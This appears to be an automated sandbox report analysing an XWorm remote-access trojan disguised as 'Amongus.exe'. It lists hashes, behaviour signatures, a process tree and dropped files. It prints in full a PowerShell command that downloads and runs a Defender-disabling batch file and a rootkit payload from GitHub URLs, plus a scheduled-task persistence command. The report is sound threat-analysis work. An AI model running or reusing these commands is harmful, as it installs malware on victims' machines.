Overview

overview

10

Static

static

10

Amongus.exe

windows7-x64

Amongus.exe

windows10-2004-x64

Analysis

  • max time kernel
    21s
  • max time network
    23s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/03/2025, 21:27

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    Amongus.exe

  • Size

    55KB

  • MD5

    5a56065a3cb76c24738719ff09686ea6

  • SHA1

    269254a2a77e708480d05b355348a6756cf3130e

  • SHA256

    98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67

  • SHA512

    e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad

  • SSDEEP

    768:vIU44Oj5X88UOzTx4tfLFFO7mWbIwhTzkKL/t/X6snGRohJOcCouejK:vHCZNOpFO79bIw9IK5/rbO+uh

Score
10/10
xwormdefense_evasionexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • pastebin_url

    https://pastebin.com/raw/GMv8QPCE

Signatures

  • Detect Xworm Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

    defense_evasion
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 24 IoCs
  • Modifies registry class 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:584
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:316
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{462b623b-2155-4dc5-81cf-da62cecd81bd}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1836
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa3948055 /state1:0x41c64e6d
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:1528
    • C:\Windows\system32\lsass.exe
      C:\Windows\system32\lsass.exe
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:672
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:960
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
        1⤵
          PID:408
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
          1⤵
            PID:1060
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1080
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1088
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                1⤵
                • Indicator Removal: Clear Windows Event Logs
                PID:1188
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Suspicious use of UnmapMainImage
                PID:1212
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:3144
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1268
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1308
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                    1⤵
                      PID:1416
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1452
                      • C:\Windows\system32\sihost.exe
                        sihost.exe
                        2⤵
                          PID:3000
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                        1⤵
                          PID:1488
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                          1⤵
                            PID:1496
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1504
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                              1⤵
                                PID:1656
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                1⤵
                                  PID:1708
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                  1⤵
                                    PID:1716
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                    1⤵
                                      PID:1800
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                      1⤵
                                        PID:1828
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                        1⤵
                                          PID:1908
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1920
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                            1⤵
                                              PID:1988
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                              1⤵
                                                PID:2008
                                              • C:\Windows\System32\spoolsv.exe
                                                C:\Windows\System32\spoolsv.exe
                                                1⤵
                                                  PID:1788
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                  1⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2140
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                  1⤵
                                                    PID:2240
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                    1⤵
                                                      PID:2284
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                      1⤵
                                                        PID:2428
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                        1⤵
                                                          PID:2424
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                          1⤵
                                                            PID:2612
                                                          • C:\Windows\sysmon.exe
                                                            C:\Windows\sysmon.exe
                                                            1⤵
                                                              PID:2640
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                              1⤵
                                                                PID:2680
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                1⤵
                                                                  PID:2692
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                    PID:2740
                                                                  • C:\Windows\system32\wbem\unsecapp.exe
                                                                    C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                    1⤵
                                                                      PID:2960
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2800
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                        1⤵
                                                                          PID:3268
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                          1⤵
                                                                            PID:3488
                                                                          • C:\Windows\Explorer.EXE
                                                                            C:\Windows\Explorer.EXE
                                                                            1⤵
                                                                            • Modifies registry class
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            • Suspicious use of SendNotifyMessage
                                                                            PID:3580
                                                                            • C:\Users\Admin\AppData\Local\Temp\Amongus.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\Amongus.exe"
                                                                              2⤵
                                                                              • Checks computer location settings
                                                                              • Adds Run key to start application
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:5044
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
                                                                                3⤵
                                                                                • Blocklisted process makes network request
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                • Downloads MZ/PE file
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:220
                                                                                • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"
                                                                                  4⤵
                                                                                  • Checks computer location settings
                                                                                  • Executes dropped EXE
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3680
                                                                                  • C:\ProgramData\MasonRootkit.exe
                                                                                    "C:\ProgramData\MasonRootkit.exe"
                                                                                    5⤵
                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1104
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2253.tmp.bat""
                                                                                    5⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:3712
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      6⤵
                                                                                        PID:3744
                                                                                      • C:\Windows\system32\timeout.exe
                                                                                        timeout 3
                                                                                        6⤵
                                                                                        • Delays execution with timeout.exe
                                                                                        PID:4324
                                                                                • C:\Windows\System32\schtasks.exe
                                                                                  "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Amongus" /tr "C:\Users\Admin\AppData\Roaming\Amongus.exe"
                                                                                  3⤵
                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                  PID:1724
                                                                                • C:\Windows\SYSTEM32\shutdown.exe
                                                                                  shutdown.exe /f /s /t 0
                                                                                  3⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4756
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    4⤵
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:1900
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                              1⤵
                                                                                PID:3696
                                                                              • C:\Windows\system32\DllHost.exe
                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                1⤵
                                                                                  PID:3884
                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                  1⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:392
                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                  1⤵
                                                                                    PID:4148
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:5004
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                      1⤵
                                                                                        PID:3300
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                        1⤵
                                                                                          PID:2152
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                          1⤵
                                                                                          • Modifies data under HKEY_USERS
                                                                                          PID:4524
                                                                                        • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                          "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                          1⤵
                                                                                            PID:1008
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:3444
                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                            1⤵
                                                                                              PID:5112
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:3640
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                1⤵
                                                                                                  PID:4908
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:2752
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:860
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:1016
                                                                                                      • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                        C:\Windows\System32\WaaSMedicAgent.exe b1bc7ab296e37a404ca233fbae030bc2 ejif8tygKUaxoFjHDjzTSw.0.1.0.0.0
                                                                                                        1⤵
                                                                                                        • Sets service image path in registry
                                                                                                        PID:2344
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          2⤵
                                                                                                            PID:2264
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                          1⤵
                                                                                                          • Drops file in Windows directory
                                                                                                          PID:2832
                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                          1⤵
                                                                                                            PID:1780
                                                                                                          • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                            C:\Windows\servicing\TrustedInstaller.exe
                                                                                                            1⤵
                                                                                                              PID:4660
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                              1⤵
                                                                                                                PID:5632
                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:5892

                                                                                                              Network

                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              • C:\ProgramData\MasonRootkit.exe
                                                                                                                Filesize

                                                                                                                596KB

                                                                                                                MD5

                                                                                                                bb2fd6c1b233fd2f08a6a43ef860bcb6

                                                                                                                SHA1

                                                                                                                1cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04

                                                                                                                SHA256

                                                                                                                8c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce

                                                                                                                SHA512

                                                                                                                2ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5

                                                                                                                Download Submit

                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonRootkit.exe.log
                                                                                                                Filesize

                                                                                                                1KB

                                                                                                                MD5

                                                                                                                3982d6d16fd43ae609fd495bb33433a2

                                                                                                                SHA1

                                                                                                                6c33cd681fdfd9a844a3128602455a768e348765

                                                                                                                SHA256

                                                                                                                9a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9

                                                                                                                SHA512

                                                                                                                4b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa

                                                                                                                Download Submit

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe
                                                                                                                Filesize

                                                                                                                612KB

                                                                                                                MD5

                                                                                                                5e1eb1a67d40ccae40dee2a037ca6c64

                                                                                                                SHA1

                                                                                                                786b54d3d451ea40faeeb20fd30a38744862eeb5

                                                                                                                SHA256

                                                                                                                80e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f

                                                                                                                SHA512

                                                                                                                0484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205

                                                                                                                Download Submit

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bsuoyjpu.w5e.ps1
                                                                                                                Filesize

                                                                                                                60B

                                                                                                                MD5

                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                SHA1

                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                SHA256

                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                SHA512

                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                Download Submit

                                                                                                              • C:\Users\Admin\AppData\Local\Temp\tmp2253.tmp.bat
                                                                                                                Filesize

                                                                                                                164B

                                                                                                                MD5

                                                                                                                1f3bd8f91470d281ca48fa5cc0918c54

                                                                                                                SHA1

                                                                                                                59248df125c1a88a07778eeaaa42bdf80df7984e

                                                                                                                SHA256

                                                                                                                86f3b49c831e82a5f499337260eedbedcb247549dd8ba23ed2a19dccc607b675

                                                                                                                SHA512

                                                                                                                7e87d89e67ec2e644d90aa83b59e3c702907102c571b7d567675dfbf4ccc46c54bd0584d2b4665bf5e808bc7466f6d0cc0c9233b8f18fe9be6afa2b0042a7a1a

                                                                                                                Download Submit

                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                Filesize

                                                                                                                2KB

                                                                                                                MD5

                                                                                                                1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                SHA1

                                                                                                                5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                SHA256

                                                                                                                55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                SHA512

                                                                                                                5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                Download Submit

                                                                                                              • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                Filesize

                                                                                                                2KB

                                                                                                                MD5

                                                                                                                0b990e24f1e839462c0ac35fef1d119e

                                                                                                                SHA1

                                                                                                                9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                SHA256

                                                                                                                a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                SHA512

                                                                                                                c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                Download Submit

                                                                                                              • memory/220-7-0x000001CB6CCB0000-0x000001CB6CCD2000-memory.dmp

                                                                                                                Filesize

                                                                                                                136KB

                                                                                                                Download

                                                                                                              • memory/220-14-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download

                                                                                                              • memory/220-15-0x000001CB6DC40000-0x000001CB6DE02000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.8MB

                                                                                                                Download

                                                                                                              • memory/220-16-0x000001CB6E340000-0x000001CB6E868000-memory.dmp

                                                                                                                Filesize

                                                                                                                5.2MB

                                                                                                                Download

                                                                                                              • memory/220-12-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download

                                                                                                              • memory/220-31-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download

                                                                                                              • memory/220-13-0x00007FFF26E60000-0x00007FFF27921000-memory.dmp

                                                                                                                Filesize

                                                                                                                10.8MB

                                                                                                                Download

                                                                                                              • memory/316-87-0x0000014DBAE70000-0x0000014DBB02B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/316-86-0x0000014DBAE70000-0x0000014DBB02B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/316-85-0x0000014DBAE70000-0x0000014DBB02B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/316-84-0x0000014DBAE70000-0x0000014DBB02B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/316-88-0x0000014DBAE70000-0x0000014DBB02B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/316-89-0x00007FFF05050000-0x00007FFF05060000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                                Download

                                                                                                              • memory/408-95-0x0000019C7A280000-0x0000019C7A43B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/408-96-0x00007FFF05050000-0x00007FFF05060000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                                Download

                                                                                                              • memory/408-91-0x0000019C7A280000-0x0000019C7A43B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/408-92-0x0000019C7A280000-0x0000019C7A43B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/408-93-0x0000019C7A280000-0x0000019C7A43B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/408-94-0x0000019C7A280000-0x0000019C7A43B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/584-67-0x000002709DC80000-0x000002709DE3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/584-71-0x00007FFF05050000-0x00007FFF05060000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                                Download

                                                                                                              • memory/584-70-0x000002709DC80000-0x000002709DE3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/584-69-0x000002709DC80000-0x000002709DE3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/584-68-0x000002709DC80000-0x000002709DE3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/584-66-0x000002709DC80000-0x000002709DE3B000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/672-77-0x00000221E4940000-0x00000221E4AFB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/672-78-0x00007FFF05050000-0x00007FFF05060000-memory.dmp

                                                                                                                Filesize

                                                                                                                64KB

                                                                                                                Download

                                                                                                              • memory/672-76-0x00000221E4940000-0x00000221E4AFB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/672-75-0x00000221E4940000-0x00000221E4AFB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/672-74-0x00000221E4940000-0x00000221E4AFB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/672-73-0x00000221E4940000-0x00000221E4AFB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/672-65-0x00000221E4800000-0x00000221E493E000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.2MB

                                                                                                                Download

                                                                                                              • memory/960-107-0x00000211FAC10000-0x00000211FADCB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

                                                                                                              • memory/960-109-0x00000211FAC10000-0x00000211FADCB000-memory.dmp

                                                                                                                Filesize

                                                                                                                1.7MB

                                                                                                                Download

